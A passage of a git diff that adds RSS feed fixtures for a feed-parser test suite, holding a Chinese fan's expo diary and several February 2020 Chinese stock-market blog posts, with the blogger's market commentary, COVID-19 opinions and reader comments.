    + + + 2018 暴走 yu 人节参展日记 + + https://diygod.me/2018-bao-zou-yu-ren-jie/ + 2018-04-02T00:23:24.000Z + 2020-04-07T19:41:20.826Z + + 暴走 yu 人节是暴走漫画首届互动娱乐展会,作为暴走粉当然不能错过,很早就买了票。

    总体感觉还是很棒的,嘉宾阵容强大,互动很多(还可以跟王尼玛一起上厕所),诚意满满,但不足也很明显,暴走 yu 人节主要内容集中在主舞台的节目表演,但上海新国际博览中心的现场座位远远不够,感觉还是更适合在类似 BML 的举办地梅赛德斯-奔驰文化中心这种地方举办。

    上午去得比较晚,逛了下厂商展台,没看节目,中午暴走家族在主舞台互动了一波,然后就是下午的节目。

    醋醋

    超级可爱,被圈粉了

     

    金馆长

    哦哈哈哈哈哈哈

     

    暴走家族

    全阵容,激动

    咬人猫 赤九玖 有咩酱

    还说什么,舔爆就行了

     

     

    山下智博

    签售会,签名 合照 get√

    最后离场的时候还在厕所里遇到了王尼玛,上厕所也带着头套,身边有个工作人员,很激动,呆住了好几秒…发现王尼玛比我矮好多,应该在170以下😂

    ]]>
    + + + + <p>暴走 yu 人节是暴走漫画首届互动娱乐展会,作为暴走粉当然不能错过,很早就买了票。</p><p>总体感觉还是很棒的,嘉宾阵容强大,互动很多(还可以跟王尼玛一起上厕所),诚意满满,但不足也很明显,暴走 yu 人节主要内容集中在主舞台的节目表演,但上海新国际博览中心的现场座位远远不够,感觉还是更适合在类似 BML 的举办地梅赛德斯-奔驰文化中心这种地方举办。</p> + + + + + + + +
    + +
    diff --git a/tests/feedlib/testdata/parser/well/http-www-gushequ-com-feed.xml b/tests/feedlib/testdata/parser/well/http-www-gushequ-com-feed.xml new file mode 100644 index 0000000..66457a4 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/http-www-gushequ-com-feed.xml @@ -0,0 +1,4340 @@ + + + + 股社区 + + http://www.gushequ.com + 股票,期货,财经,金融 + Sat, 28 Mar 2020 09:23:02 +0000 + zh-CN + hourly + 1 + https://wordpress.org/?v=4.4.14 + + 某些人心态已经炸了 -20200212 + http://www.gushequ.com/2020/03/%e6%9f%90%e4%ba%9b%e4%ba%ba%e5%bf%83%e6%80%81%e5%b7%b2%e7%bb%8f%e7%82%b8%e4%ba%86-20200212/ + http://www.gushequ.com/2020/03/%e6%9f%90%e4%ba%9b%e4%ba%ba%e5%bf%83%e6%80%81%e5%b7%b2%e7%bb%8f%e7%82%b8%e4%ba%86-20200212/#respond + Sat, 28 Mar 2020 09:23:02 +0000 + + + + http://www.gushequ.com/?p=7526 + + +
    +
    +
    +

    今天又是一波乱涨。

    +

    最近这波上涨,有点像是恶作剧,大家伙合伙演一波恐慌,然后把车上胆子最小的那个人骗下车,然后一脚油门踩到底,夺路狂飙。

    +

    我几乎可以肯定,上周割肉的人起码有95%+,这一个多星期买不回来,逻辑很简单,能顶住这种逼空压力追着买的人,上周初不会在恐慌中割肉,追涨比暴跌死扛更考验意志力。

    +

    今天好几个朋友都问我,这么涨技术形态会不会有问题,这事得辩证的看。我给大家贴个图,是最近涨的最凶的创业板指k线。

    +

    20200212-1

    +

    你如果只看最右边那一段,确实技术上有明显的短线超买,但我们做一个假设,如果把上周前两个交易日的k线用别的交易日的k线替代,我ps了一下图片,比如这样:

    +

    20200212-2

    +

    你是不是感觉好多了,也没啥违和感,看起来就是很常见的慢牛走势。所以我们就假装就没发生过暴跌和反弹,这样畏高情绪是不是就缓解了?

    +

    我早就发现我真他娘的是个人才

    +

    简言之,中小创并没有受疫情的影响,一直在按自己的节奏走强,只不过中间发生了一点小插曲,一波人送了另一波人大概1000多亿,然后大多数人只是在感情上坐了一趟过山车。

    +

    这几天最难受的莫过于拿着传统板块的股民,结结实实的跌了,但这几天反弹又不给力,这个时候我要提醒的是,别赌气加仓,现在的a股和以前不一样了,结构化分歧特别明显,所以不要有均富、补涨的心态,弱鸡板块你要认栽,可以不割肉放着,但应该珍惜手里多余的子弹,转去投资现金流入明显的板块。

    +

    我从去年12月开始就一直推荐大家买中小创指数基金,510500,159915,159902走起,激进一点的也可以考虑小仓位投一点眼下最热门的科技etf和半导体etf,代码分别是515000和512760。

    +

    补仓烂股的结果就是葫芦娃救爷爷,一个一个往里送。

    +

    ……

    +

    昨晚有人问我是怎么看穷人思维和富人思维,我当时互动只是随口一答,今天中午休盘的时候又多想了一会,总结了一些看法,和大家分享一下:

    +

    20200212-3

    +

    要声明的是,我并非刻意强调运气,劝大家认命不努力。暴富确实靠运气,但是即便没运气,你还是可以通过个人努力创造小康生活,那也不错。

    +

    ……

    +

    20200212-4

    +

    疫情数据已经开始明显的震荡下跌,哪怕是之前几天又反复的湖北和武汉地区,重心也开始明显下移。

    +

    对了,我晚上去翻了一下数据,发现除了中国外,国外一共感染了441例,死亡人数只有1人,是一个菲律宾的病例。这个死亡率不仅大幅低于湖北省,比中国的非湖北地区又低了很多。所以从数据来看,新冠病毒貌似随着传播距离渐远,威胁也会下降。

    +

    目前中国确诊人数44700+,每天增长2000左右,钟院士说峰值会在二月底出现,那我估算一下,确诊人数到时候大概会在8万左右。按照这个发展,我们不可能等到所有人都痊愈再开工,接下来各行各业会陆续恢复生产,大家会进入动态防疫的阶段。一边工作,一边个人防疫。

    +

    所以有些事要重新评估了,我认为像口罩、消毒液、测温仪、洗手液这些物资,会从短期爆发式需求,变为稳定的中长期需求,嗯….

    +

    ……

    +

    1、中国烹饪协发表报告,仅在春节7天内,对餐饮行业的零售额造成5000亿左右损失。

    +

    2、甘微离婚同时向贾跃亭提出5.7亿美元索赔,夫妻之间我也不懂索赔的理由是什么,额度还这么大,感觉有资产转移的嫌疑。但我现在对贾跃亭不是很关心了,因为乐视网已经确定会退市,没悬念了。

    +

    3、博瑞医药称已经开始生产瑞德西韦试剂,董秘称不会发国难财。

    +

    4、隆基股份拟投资45亿建设年产10gw单晶电池及配套中试项目,太阳能板块这一波也涨势喜人。

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4015

    +

    创业板继续YES,临界1903

    +

    中证500继续YES,临界5199

    +

    国证有色399395继续YES,临界3497

    +

    中证科技931087继续YES, 临界3657

    +

    证券公司399975继续NO,临界757

    +

    中证军工399967继续YES,临界7739

    +

    我没动,前几天还心痒痒的想减一点,这几天已经消停心思了。不敢想逃顶,已经转变思想为撞顶。个股板块现在资金疯狂的轮流怼各种tmt板块,我觉得没必要个股看的太细,中小创板指和行业etf就可以了。仓位没减,还是80%,并且明天也没有减仓计划。

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      755
      + +
      +
      +
      老公嫖娼呢?怎么没了
      +
      +
      +
      +
      1389
      +
      +
      作者
      +
      +
      +
      +
      啊?删了?真他妈的,亏我还那么认真的回复,不是自己说求翻的吗,生气,这不是玩我吗。
      +
      +
      +
    • +
    • +
      +
      633
      + +
      +
      +
      家里办公比上班累的,有木有?
      +
      +
      +
      +
      1340
      +
      +
      作者
      +
      +
      +
      +
      是的,因为在公司可以滑水摸鱼,心安理得,在家里办公心里有些虚,怕老板怀疑自己在摸鱼,反而要极力表现的很积极。而上司呢,又担心你偷懒,会额外布置更多的工作量,最后比在公司还拼。
      +
      +
      +
    • +
    • +
      +
      512
      + +
      +
      +
      老公嫖娼怎么没了,一起嫖呗
      +
      +
      +
      +
      1326
      +
      +
      作者
      +
      +
      +
      +
      这女的真没劲,自己说求翻,我真翻出来了,她又给删了,要谴责这种愚弄博主的行为,浪费大家的公共资源,以后你们不想翻的就写清楚,求别翻。
      +
      +
      +
    • +
    • +
      +
      229
      + +
      +
      +
      屁股屁股,呼叫屁股,现在这阶段,延长假期还在家可以领工资的人主动辞职是啥心理啊
      +
      +
      +
      +
      1146
      +
      +
      作者
      +
      +
      +
      +
      肯定是找到马了,驴不要了。
      +
      +
      +
    • +
    • +
      +
      224
      + +
      +
      +
      广发纳斯达克基金咋样?一直涨,还敢上车吗
      +
      +
      +
      +
      1101
      +
      +
      作者
      +
      +
      +
      +
      美股都涨了12年了,每年中国专家都说对面要跌,你要不买点试试,要能把美帝买崩,那也是值得吹牛的大事呀。
      +
      +
      +
    • +
    • +
      +
      307
      + +
      +
      +
      说的真到位:7个葫芦娃不够用了,卧倒装死。
      +
      +
      +
      +
      970
      +
      +
      作者
      +
      +
      +
      +
      烂股的续航能力很强的,别说7个葫芦娃,70个葫芦娃派出去,它也能给你全拿下。中石油都他妈12年了,还在寻底。
      +
      +
      +
    • +
    • +
      +
      203
      + +
      +
      +
      这两天快被逼疯了,不回调了吗???
      +
      +
      +
      +
      708
      +
      +
      作者
      +
      +
      +
      +
      踏空焦虑的人越多,就越难回调,稍微跌一点一个个都抢着买…
      +
      +
      +
    • +
    • +
      +
      338
      + +
      +
      +
      去年看一本书,涛动周期论,彻底改变了我的世界观,彻底明白,人的渺小是有多小,人能赶上的时代,决定了你的人生状态,啥能力,眼光的,错的时代,也就是不饿死。
      +
      +
      +
      +
      689
      +
      +
      作者
      +
      +
      +
      +
      人生的奋斗,其实和炒股是差不多的。大牛市来了,所有人都赚钱,大势最重要。另外大部分人都是手里买的股票突然踩中风口,就挣大钱了,能在不同牛股之间切换,屡屡赚到钱的是少数中的高手。
      +
      +
      +
    • +
    • +
      +
      170
      + +
      +
      +
      今天看到服药玻璃老板写的:企业熬不过三个月,怪谁呢。我自认为我挺不过两个月,装作不慌。
      +
      +
      +
      +
      660
      +
      +
      作者
      +
      +
      +
      +
      我觉得他说这风凉话真没劲,他做汽车玻璃的,受疫情冲击不是很明显,换做是餐饮行业,他不上杠杆是很难扩产经营的,如果餐饮老板都按照动辄停业3-5个月来做经营规划,那还做啥生意呀。
      +
      +
      +
    • +
    • +
      +
      229
      + +
      +
      +
      “所以有些事要重新评估了,我认为像口罩、消毒液、测温仪、洗手液这些物资,会从短期爆发式需求,变为稳定的中长期需求,嗯…” …………… 很多人会形成生活习惯
      +
      +
      +
      +
      659
      +
      +
      作者
      +
      +
      +
      +
      是,我觉得这次疫情不会像sars那样短期结束,大家做好准备,也许我们国庆节的时候出门坐地铁都还会戴口罩。
      +
      +
      +
    • +
    • +
      +
      156
      + +
      +
      +
      大屁股老湿,我拿的一堆上汽肿么办?被锤下来上不去
      +
      +
      +
      +
      608
      +
      +
      作者
      +
      +
      +
      +
      特斯拉为什么涨那么猛,就是锤传统汽车股锤出来的涨幅
      +
      +
      +
    • +
    • +
      +
      183
      + +
      +
      +
      文章看了蛮久,这段时间在家待着,开了股票账号去打可转债,居然第一次就中了,真开心。想请教下,可转债打新,一直都稳赚吗?有亏损的时候吗?
      +
      +
      +
      +
      366
      +
      +
      作者
      +
      +
      +
      +
      有,去年行情特被差的时候,有亏钱的,但亏的不多,就几十块钱。而且也都是暂时的,毕竟是债券,长期持有最后都是会赚钱的。
      +
      +
      +
    • +
    • +
      +
      176
      + +
      +
      +
      大牛猫这个月创业板是否还有回调的机率?!
      +
      +
      +
      +
      334
      +
      +
      作者
      +
      +
      +
      +
      当然会回调了,哪有一直涨的,但什么时候回调不敢随便猜,前几天就有人判断要回调了,谁想逼空这么凶残,猜顶和抄底都有很大的逆趋势风险。
      +
      +
      +
    • +
    • +
      +
      152
      + +
      +
      +
      duang~~~想狠狠的被敲一下
      +
      +
      +
      +
      144
      +
      +
      作者
      +
      +
      +
      +
      那就狠狠的敲你一下,大家晚安了
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    + http://www.gushequ.com/2020/03/%e6%9f%90%e4%ba%9b%e4%ba%ba%e5%bf%83%e6%80%81%e5%b7%b2%e7%bb%8f%e7%82%b8%e4%ba%86-20200212/feed/ + 0 +
    + + 又有老板哭惨+求救 -20200211 + http://www.gushequ.com/2020/03/%e5%8f%88%e6%9c%89%e8%80%81%e6%9d%bf%e5%93%ad%e6%83%a8%e6%b1%82%e6%95%91-20200211/ + http://www.gushequ.com/2020/03/%e5%8f%88%e6%9c%89%e8%80%81%e6%9d%bf%e5%93%ad%e6%83%a8%e6%b1%82%e6%95%91-20200211/#respond + Sat, 28 Mar 2020 09:18:00 +0000 + + + + http://www.gushequ.com/?p=7523 + + +
    +
    +
    +

    今天一篇文章在财经圈刷屏了,是魁ktv老板吴海写的关于企业生存的文章。坦率讲魁ktv我不熟,但吴海我知道的,之前创业做过桔子酒店,是一个成功的连续创业者。

    +

    魁ktv目前正在营业50家门店,筹建中50家,累计100家左右,总投资约4亿,涉及相关就业员工1500人。

    +

    他这篇文章的概要很简单,就是受疫情冲击生意彻底休停,自己企业账户上还有1200万,但每个月支出约550万,所以大概也就能撑到4月初。从目前的疫情发展情况来看,我认为老百姓的消费信心上半年都未必会恢复,吴海肯定也能看明白这局势,所以必须要自救。

    +

    他贴一下运营的账目:

    +

    20200211

    +

    其实主要就三大块,工资、社保公积金、房租吴海想了几个办法。

    +

    1、工资这块和员工协商,不上班期间少发一些,他文章里只是举例了几个数字,大概少一半吧。

    +

    2、社保公积金想争取减免,但社保局没有减免政策,只提出可以缓交。

    +

    3、房租这一块吴海建议最好政府一刀切,规定受损企业租金7折,另外延期缴纳租金,等疫情过去6个月后再交。

    +

    大致就是这样,我看了一下点赞率,他这篇文章的阅读量应该已经超过百万了。前几天西贝莜面村的贾国龙哭穷,说自己现金只够支撑3个月,然后就拿到了浦发银行1.2亿的贷款,这次吴海跳出来发声可能也是希望获得贷款或政策扶持。

    +

    这两位都是有一定社会能量的企业家,遇到困难能说出来,更让人担忧的是那些没有发声渠道的纳米级民营企业和个体户。我看国家高层这几天发声,说引导人民群众线上消费,有些行业可以转移,但有些侧重线下体验的行业没法转移,应该给一些实际的政策扶持,不能就让倒霉蛋白白牺牲了。

    +

    ……

    +

    有意思的是,那些受到强烈冲击的线下实体店的股票,最近普遍表现很强势。比如已经全国停业的海底捞,我放假的时候还以为会来个20-30%的暴跌,窃喜可以安排上车,结果这一波疫情整体下来几乎没有跌,今天+4%后还涨了一点。

    +

    还有原先以为会被锤到土里的万达电影,从疫情的发展来看可能全年会减少25-35%的收入,结果最近6天连收6根阳线,距离春节之前也就跌了五六个点而已。

    +

    说明资本对中国经济的中长线是有信心的,更多的人从危中看到了机,勇敢的在短期恐慌中趁机捡筹码,那些上周初恐慌割肉的股民们真的该反思一下,如果不能克服极端情绪对交易判断的影响,以后还会吃大亏的。

    +

    ……

    +

    发改委发布数据,根据2月10日全国22个省份的调查,口罩复工率76%,防护服复工率77%,全国重点监测的粮食生产加工企业复工率为94%,煤矿的复产率为57.8%。

    +

    前几天还有人留言问我,说我的煤炭板块是第二产业,应该不受肺炎影响啊?哥们不知道咋想的,怎么可能不受影响呢,煤炭钢铁电力这些大都是体制内企业,体制内企业不是很看重经济利益,更重视生产安全,复工进度肯定会比民营企业保守。你看数据,到现在也才复工不到6成。

    +

    我个人觉得接下来政府应尽量减少统一指挥,这样各个企业单位会根据自己的实际情况陆续复产,这其实就在客观上达到了分流的效果。

    +

    ……

    +

    1、中国疫苗协会官方微信发文称,目前有18家会员单位正在开展疫苗研制工作,其中a股有华兰生物、智飞生物、辽宁成大、康泰生物、沃森生物。这种需要技术也需要一点运气,谁能成不好说,但起码这些公司确实在参与项目,而之前炒到天上去的一些概念股……就是光着屁股裸泳。

    +

    2、交通运输部,从现在到2月18日春运结束,预计有1.6亿人陆续返岗。

    +

    3、阿里巴巴这次没有被纳入沪港通,估计下次会纳入,之前小米和美团也被延了一期,但还是加入了。

    +

    4、保利地产一月份签约数据同比下降30%,这个问题不是很大,因为今年春节在1月,去年春节在2月,所以一些2c的企业1月份收入同比下降是正常的,疫情影响主要体现在2-3月份的数据。

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4024

    +

    创业板继续YES,临界1877

    +

    中证500继续YES,临界5179

    +

    国证有色399395继续YES,临界3477

    +

    中证科技931087继续YES, 临界3637

    +

    证券公司399975继续NO,临界764

    +

    中证军工399967继续YES,临界7724

    +

    连涨一星期的中小创终于今天跌了,回调的很勉强,因为今天市场的资金都去捧之前滞涨的白马股了,美的、茅台、平安今天都表现强势。所以今天的中小创回调并不是市场信心受挫,主要还是板块之间的跷跷板效应,从大的趋势来看,反弹依然在继续。我没减仓,而且明天也没减仓计划,继续80%仓位。

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      276
      + +
      +
      +
      每天刷微博越刷越丧,怎么自救?
      +
      +
      +
      +
      4089
      +
      +
      作者
      +
      +
      +
      +
      和微薄无关,和你的关注取向有关。微博上那么多官媒天天在拼命发正能量,你不看,整天关注那些负能量大v,你先反思一下自己。
      +
      +
      +
    • +
    • +
      +
      726
      + +
      +
      +
      昨晚听你说,今天开盘就拿下美的,盈利146元,好开心。…就只有100股的资金了,请问猫仔哥,能有四位数吗?
      +
      +
      +
      +
      2101
      +
      +
      作者
      +
      +
      +
      +
      觉得妹纸你很萌,这种100股100股的交易的快乐,我都已经快想不起来了,祝你能赚到1000吧
      +
      +
      +
    • +
    • +
      +
      240
      + +
      +
      +
      所谓的穷人思维富人思维。。。是不是可以理解为,脑子好不好使的原因。。。或者格局大小的不同。。。
      +
      +
      +
      +
      1979
      +
      +
      作者
      +
      +
      +
      +
      我觉得这几年热议的这几个词,有贩卖焦虑之嫌,因为思维和现实,因果关系很难讲清楚。是思维导致你穷,还是穷导致你有这样的思维,都讲不清楚。
      +
      +
      +
    • +
    • +
      +
      204
      + +
      +
      +
      工资才230万,社保、公积金怎么要100万?
      +
      +
      +
      +
      1145
      +
      +
      作者
      +
      +
      +
      +
      看来你对企业经营不是很熟悉呀,员工成本算1万的话,差不多有1/3是要交社保和公积金的,只不过这一块不算在工资里,员工会觉得这是国家对自己权益的保障,但在老板眼里,这些都是员工的成本和负担。羊毛出在羊身上,这事你自己回去再想想。
      +
      +
      +
    • +
    • +
      +
      214
      + +
      +
      +
      新潮传媒的张老板跟这位吴老板一比,高下立现……
      +
      +
      +
      +
      1137
      +
      +
      作者
      +
      +
      +
      +
      我昨天也看到了,新潮上来就裁员,这个时候裁掉的员工你让他们怎么找工作,真他妈的,资本家真是冷酷。倒是分众传媒这几天涨了,大概是知道竞争对手快扛不下去了
      +
      +
      +
    • +
    • +
      +
      165
      + +
      +
      +
      我不是经济学,也不擅长算数,就有个简单想法,就像冰冻一样,把所有的环节都停滞,企业不交税,员工不发工资,银行不收房贷,政府不收费用,房东不收租,各自承担生活。当然这个期限不太久,从正常初七上班,28天,2个隔离的14天。这样呢?
      +
      +
      +
      +
      1114
      +
      +
      作者
      +
      +
      +
      +
      可是14亿人还是要吃东西,如果生产都停滞,14亿人28天吃的用的东西谁生产呢?不复工的话,物资稀缺,物价飞涨,经济真的会出大问题。
      +
      +
      +
    • +
    • +
      +
      249
      + +
      +
      +
      都有难,这是国难,是不是会哭的孩子有奶吃???
      +
      +
      +
      +
      1097
      +
      +
      作者
      +
      +
      +
      +
      有能力哭惨的一定要哭,有可能后面资源不够,谁先哭就先紧着谁…
      +
      +
      +
    • +
    • +
      +
      201
      + +
      +
      +
      老大怎么看疫情对实体经济的影响和这波上涨之间的矛盾?实在看不懂!
      +
      +
      +
      +
      909
      +
      +
      作者
      +
      +
      +
      +
      股市是资金对市场预期的体现,并不是对实体经济的实时映射。你想一个事,中国经济过去10年大发展,股市10年没涨。
      +
      +
      +
    • +
    • +
      +
      183
      + +
      +
      +
      房企就没有员工、没有贷款呀?免了租金政府能免房产税、社保、贷款利息?
      +
      +
      +
      +
      773
      +
      +
      作者
      +
      +
      +
      +
      是,房东也有房东的难处,所以要协商一下,损失共担,而不是只让商户顶在前面死扛。商户死了,目前这市场你找下家很难,而且真找到下家还有免租期,照样要损失。所以我觉得免租,不单单是道德绑架,它还有现实的博弈价值。
      +
      +
      +
    • +
    • +
      +
      349
      + +
      +
      +
      我就是一名KTV行业从业者。魅这样的ktv还能撑两个月,北京的k歌之王已经要求解散所有员工或者破产。而更多的中小型门店,员工本来就没有社保,不开工哪来的工资。大量门店都是上个月的收入支撑下个月支出。完全没有一点风险抵御能力,年年上涨的房租、人力成本,再加上现在的版权费。今年的KTV行业会很惨。熬,是根本熬不下去了。ktv不算大行业,可全国也有百十万从业人员吧,这还只是服务行业的一个缩影。酒吧、桌游、健身、影院、美容美发、洗浴足疗。。。
      +
      +
      +
      +
      602
      +
      +
      作者
      +
      +
      +
      +
      一波大洗牌就在眼前,我觉得肯定会有大面积的倒闭潮,哥们要不可以提前想想退路了。
      +
      +
      +
    • +
    • +
      +
      171
      + +
      +
      +
      现在租户都是生生要你免租金的,即使他更本不在武汉,也没有生病
      +
      +
      +
      +
      588
      +
      +
      作者
      +
      +
      +
      +
      我觉得具体情况具体分析,现在全国都封闭,租户很可能因为客观条件无法回来复工,房子等于就是空在那里,而他的收入有可能也会受到影响,所以我觉得缺勤的那几天,房东可以考虑减免一半房租,国难在前,大家分摊一下。
      +
      +
      +
    • +
    • +
      +
      300
      + +
      +
      +
      是魅不是魁吧?!
      +
      +
      +
      +
      537
      +
      +
      作者
      +
      +
      +
      +
      哈哈哈,好像是,说明我确实是不知道这家ktv,嗨,反正不影响阅读,大家多包涵
      +
      +
      +
    • +
    • +
      +
      172
      + +
      +
      +
      那些此时辞职不返岗的人真的是怕死么?
      +
      +
      +
      +
      519
      +
      +
      作者
      +
      +
      +
      +
      怕不怕死我不清楚,这些人有一定的经济储备是真的,还有就是他们的工作比较散装化,比如滴滴司机,你迟几个月复工也无所谓,影响不大。如果是知名大公司的化,工作丢了就不好找了。
      +
      +
      +
    • +
    • +
      +
      223
      + +
      +
      +
      一罩难求是现状,就算开足马力生产也很难支撑每天上亿的刚需群体。但是发现一个有意思的现状:越是感冒体征的人(未必是潜在患者)越不戴口罩还四处乱窜,反而身体没问题的健康人坚持戴口罩勤洗手待在家
      +
      +
      +
      +
      424
      +
      +
      作者
      +
      +
      +
      +
      官方要求出行必须戴口罩,但考虑到人口基数,我们客观上没有那么多口罩。所以解决办法就是大家都别出行,节省口罩。新加坡那边执行的策略是,让有症状的人戴口罩,没症状的人不鼓励戴。
      +
      +
      +
    • +
    • +
      +
      356
      + +
      +
      +
      疫情怎么样才算结束
      +
      +
      +
      +
      340
      +
      +
      作者
      +
      +
      +
      +
      3个月后世卫组织要重新对我们评估,如果可以取消预警,就算翻篇了。至于老百姓心中的阴影什么时候彻底消散,那就不好说了,是长期的事情了。
      +
      +
      +
    • +
    • +
      +
      119
      + +
      +
      +
      屁股哥分析下这波让房地产市场的影响
      +
      +
      +
      +
      302
      +
      +
      作者
      +
      +
      +
      +
      销量肯定有影响,一季度业绩堪忧,但是下半年预期的货币放水,又让人对下半年的报复性反弹有一些乐观预期。
      +
      +
      +
    • +
    • +
      +
      164
      + +
      +
      +
      中概股大涨,明天稳了
      +
      +
      +
      +
      203
      +
      +
      作者
      +
      +
      +
      +
      还行,今晚普遍小涨,明天开盘应该有小幅高开。
      +
      +
      +
    • +
    • +
      +
      119
      + +
      +
      +
      Duang丶Duang丶Duang…太晚了,该睡了!
      +
      +
      +
      +
      114
      +
      +
      作者
      +
      +
      +
      +
      嗯,到钟了,我要下了老板们,晚安
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    + http://www.gushequ.com/2020/03/%e5%8f%88%e6%9c%89%e8%80%81%e6%9d%bf%e5%93%ad%e6%83%a8%e6%b1%82%e6%95%91-20200211/feed/ + 0 +
    + + 一个小小的感悟 -20200210 + http://www.gushequ.com/2020/03/%e4%b8%80%e4%b8%aa%e5%b0%8f%e5%b0%8f%e7%9a%84%e6%84%9f%e6%82%9f-20200210/ + http://www.gushequ.com/2020/03/%e4%b8%80%e4%b8%aa%e5%b0%8f%e5%b0%8f%e7%9a%84%e6%84%9f%e6%82%9f-20200210/#respond + Sat, 28 Mar 2020 09:16:09 +0000 + + + + http://www.gushequ.com/?p=7520 + + +
    +
    +
    +

    昨天的投票结果出来了,有将近17万网友参与,约23%的网友表示已经恢复上班,我的公众号关注主体还是25-45岁的成年人,所以去头去尾的话,大概就是1/4的人已经复工上班了。随着时间的推移,这个数据还会陆续上升的。

    +

    20200210

    +

    隔离的状态下就算数据下降了也不能掉以轻心,因为这种纯静态的隔离对我们自身影响也很大,只有社会恢复运转了,依然还能控制住数据才算胜利。

    +

    我今天刷到一段张文宏教授的视频,解释为什么埃博拉病毒只在非洲肆虐,却不会传到中国或者北美?原因又简单又无奈,因为这个病毒…太要命了,一个人如果中招了,基本上2天内就会死。

    +

    所以患病的人连一个航班都挺不住,走不远,这就限制了病毒很难向远处传播。

    +

    由此我联想到了,17年前我们为什么可以在几个月内就战胜sars,一个很重要的原因就是sars本身的致死率很强,接近10%,患病者表征很剧烈,这样的病毒看起来很吓人,威慑力十足,但越是凶猛就越不利于广泛传播,最后被限制在小汤山内,逐渐消失。

    +

    众所周知新冠病毒的杀伤力要比sars弱,这就意味着宿主多,传染范围广,再加上病毒有潜伏期,隐蔽性强,因此它也更难被限制。

    +

    我有一种预感,新冠病毒也许最后的处理和sars会有一些不同。

    +

    ……

    +

    今天还有一个话题在圈内被热聊,就是关于接下来货币政策大概率会宽松化,也就是老百姓所说的放水,以应对疫情带来的货币流速下降的问题。

    +

    上面说的有些书面,我举个通俗点的例子吧。

    +

    刘备织草鞋,卖给关羽10两银子。

    +

    关羽种绿豆,卖给张飞10两银子。

    +

    张飞杀猪的,卖给诸葛亮10两银子。

    +

    诸葛亮开咨询公司的,卖服务给刘备,也赚10两银子。

    +

    这就形成一个循环了,10两银子四个人都过了一遍手,每个人都有10两收入和10两的消费,创造了40两的gdp。

    +

    现在大家隔离,不准上街,4个人都挣不到钱,也都没有消费,gdp损失不说,更糟的是原先形成的那种收入和消费的平衡被打破了

    +

    假如你是刘备,你在不确定接下来草鞋能不能恢复销量前,是不会去诸葛亮那里花钱咨询了,关羽张飞诸葛亮也是这个心态。

    +

    你可能会说,和这4个人说一下,约定同时恢复不就行了吗?确实,4个人可以这么干,全中国14亿人怎么约定?

    +

    这个时候最常规的办法就是往市场里注入流动资金,让市场里的钱多起来,以抵消货币流速下降的那部分损失,所以大家现在才预期后续政策会适当放松。

    +

    今天房地产板块、建材板块走强就是基于这种预期,往大了说,货币宽松对整个资本市场都是好事,这种因祸得福的交易思维听起来有点怪怪的,但中外都一样的。我以前看到美国的就业数据好,股市大跌也挺不习惯的,老外的逻辑是就业数据好=不用货币刺激了=降息预期下降,所以股市要跌。

    +

    ……

    +

    1、钟院士今天发的论文里提到新冠病毒的潜伏期最长可达24天,属于部分个例,这种谁遇到了谁倒霉,因为普遍隔离的日期还是14天,不会因为个例去提高所有人的隔离标准。另外论文里还提到了,约有一半的患者初次就诊时没有发热症状。

    +

    2、特斯拉概念股卷土重来,今天晚上特斯拉的盘前竞价大涨8%,重回800+美金,我觉得这一波要上去做一个双头,最高会摸到900美金附近,但应该不会突破1000美金。所以做特斯拉概念的,我觉得这一次上去可以考虑兑现盈利了,保守一点可以是一部分盈利。

    +

    3、1月份的cpi高达5.4%,这个主要是疫情导致物价飞涨。说到这我要吐槽几句,很多网友一提复工就在网上喷,生命无价,安全第一,然后遇到物价上涨就骂商人发国难财,无良缺德。不开工物资就少,供不应求当然会涨价,这有什么好说的,嫌东西贵就去工作,全社会恢复产能,物价自然会恢复的。

    +

    4、美的回购1亿元股票,均价是52.18元/股,踏空又不喜欢追高的朋友其实可以考虑一下,美的现在不贵。

    +

    5、医药生物板块大面积回调,都是炒作,我还是之前的逻辑,这里面没几个真能靠疫情发财的,匹配不了之前的涨幅。

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4030

    +

    创业板继续YES,临界1869

    +

    中证500转YES,临界5175

    +

    国证有色399395转YES,临界3467

    +

    中证科技931087继续YES, 临界3629

    +

    证券公司399975继续NO,临界766

    +

    中证军工399967继续YES,临界7713

    +

    大盘之猛,我觉得绝大多数人都想不到,早上也就主板低开了一下,然后中小创又开始闭眼冲。这种涨法,像是担心复工后就买不到股票似的,我现在也有点懵逼,之前我给了最乐观的估计,补缺需要1个月,谁想中小创指数一个星期就补了。如果不是疫情砸了一个很深的坑,其实走势是比较连贯的,但短期那么巨大的浮盈盘,随时可能兑现是个隐患。我今天没卖,仓位不变,继续

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      693
      + +
      +
      +
      据说昨天到达湖北的江苏医疗队滞留机场,行李还丢了…当地的组织和保障能力堪忧…
      +
      +
      +
      +
      3899
      +
      +
      作者
      +
      +
      +
      +
      这次湖北当地政府被网暴了,这事有两个可能,一是湖北人天生就比全国各地的人要蠢一点,所以选的公务员水平低。还有一个可能,就是政府超负荷运作,扛不住这种突发事件所需要的执行力。你觉得哪个解释更合理些?
      +
      +
      +
    • +
    • +
      +
      437
      + +
      +
      +
      割肉割在坑底,现在心态都是崩溃的
      +
      +
      +
      +
      2436
      +
      +
      作者
      +
      +
      +
      +
      哥们你给我留言400多次,我翻你都翻了13次了,那应该算是很铁杆的读者了,为什么我极力劝别低位卖出,你还不听呢。。。太可惜了。
      +
      +
      +
    • +
    • +
      +
      989
      + +
      +
      +
      最终会变成流感来对待,因为控不住
      +
      +
      +
      +
      1795
      +
      +
      作者
      +
      +
      +
      +
      我也觉得这一次,很难像sars一样彻底消灭,这种低致死率高传染性的病毒,也许温度高一些就会逐渐减少,然后明年没准又来,我们不一定能消灭,而是学会共存。
      +
      +
      +
    • +
    • +
      +
      447
      + +
      +
      +
